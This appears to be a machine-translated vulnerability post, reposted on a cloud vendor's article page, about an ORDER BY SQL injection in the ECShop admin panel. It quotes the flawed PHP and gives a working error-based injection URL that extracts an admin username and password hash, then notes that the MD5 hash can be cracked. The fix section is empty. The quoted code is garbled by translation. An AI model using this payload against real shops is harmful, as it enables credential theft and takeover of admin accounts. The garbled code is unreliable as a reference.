Eshop large-scale SQL injection in the background

Source: Internet
Author: User

If order by injection exists on a large scale in the background, search for $ _ REQUEST ['sort _ by'] or $ _ REQUEST ['sort _ order'] involving more than 30 files... My days. More than 30 !! Do ec developers all copy code ?? Let's talk about the code. Here we do not have the permission to check admin \ ads. php Line 36.

if ($_REQUEST['act'] == 'list'){    $pid = !empty($_REQUEST['pid']) ? intval($_REQUEST['pid']) : 0;    $smarty->assign('ur_here',     $_LANG['ad_list']);    $smarty->assign('action_link', array('text' => $_LANG['ads_add'], 'href' => 'ads.php?act=add'));    $smarty->assign('pid',         $pid);     $smarty->assign('full_page',  1);    $ads_list = get_adslist();...}

 

The permission is not checked. You only need to check the logon status. Next, check the get_adslist method.
Function get_adslist () {/* filter query */$ pid =! Empty ($ _ REQUEST ['pid '])? Intval ($ _ REQUEST ['pid ']): 0; $ filter = array (); $ filter ['sort _ by'] = empty ($ _ REQUEST ['sort _ by'])? 'Ad. ad_name ': trim ($ _ REQUEST ['sort _ by']); $ filter ['sort _ order'] = empty ($ _ REQUEST ['sort _ order'])? 'Desc': trim ($ _ REQUEST ['sort _ order']); ...... $ arr = array (); $ SQL = 'select ad. *, COUNT (o. order_id) AS ad_stats, p. position_name '. 'from '. $ GLOBALS ['ecs']-> table ('ad '). 'As ad '. 'Left join '. $ GLOBALS ['ecs']-> table ('ad _ position '). AS p ON p. position_id = ad. position_id '. 'Left join '. $ GLOBALS ['ecs']-> table ('order _ info '). "AS o ON o. from_ad = ad. ad_id $ where ". 'Group BY ad. ad_id '. 'ORDER '. $ filter ['ort _ by']. ''. $ filter ['sort _ order'];}

 

$ Filter ['sort _ by'] $ filter ['sort _ order'] directly goes to SQL. The rest is simple with code
http://www.abc.com/admin/ads.php?act=list&sort_by=sort_order%20and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(user_name,0x3a,password)%20from%20ecs_admin_user%20limit%201)%20)%20from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20from%20`information_schema`.tables%20group%20by%20x)a)%20and%201=1

 

With MD5, you can easily crack the password by combining the password I mentioned earlier ..
  Solution:

Is the background vulnerable to such a low-level vulnerability fixed at the front-end? It's time for programmers to be dumb!


Admin/goods. php file





A total of 13 files are managed and repaired directly:

Where are vulnerabilities repaired or not repaired...

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.